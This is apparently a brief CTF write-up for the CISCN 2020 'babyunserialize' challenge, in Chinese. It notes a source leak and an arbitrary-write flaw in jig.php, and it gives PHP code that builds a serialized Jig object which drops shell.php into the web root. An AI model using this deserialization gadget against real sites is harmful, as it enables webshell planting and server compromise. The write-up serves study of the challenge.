> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-ciscn/babyunserialize.md).

# babyunserialize

扫出源码www\.zip。

jig.php存在任意写，直接getshell。

```
<?php
namespace DB;
class Jig {
    const
        FORMAT_JSON=0,
        FORMAT_Serialized=1;
    protected
        $dir = '/var/www/html/',
        $format = self::FORMAT_JSON,
        $data = array("shell.php"=>array("a"=>"<?php phpinfo();?>")),
        $lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));
```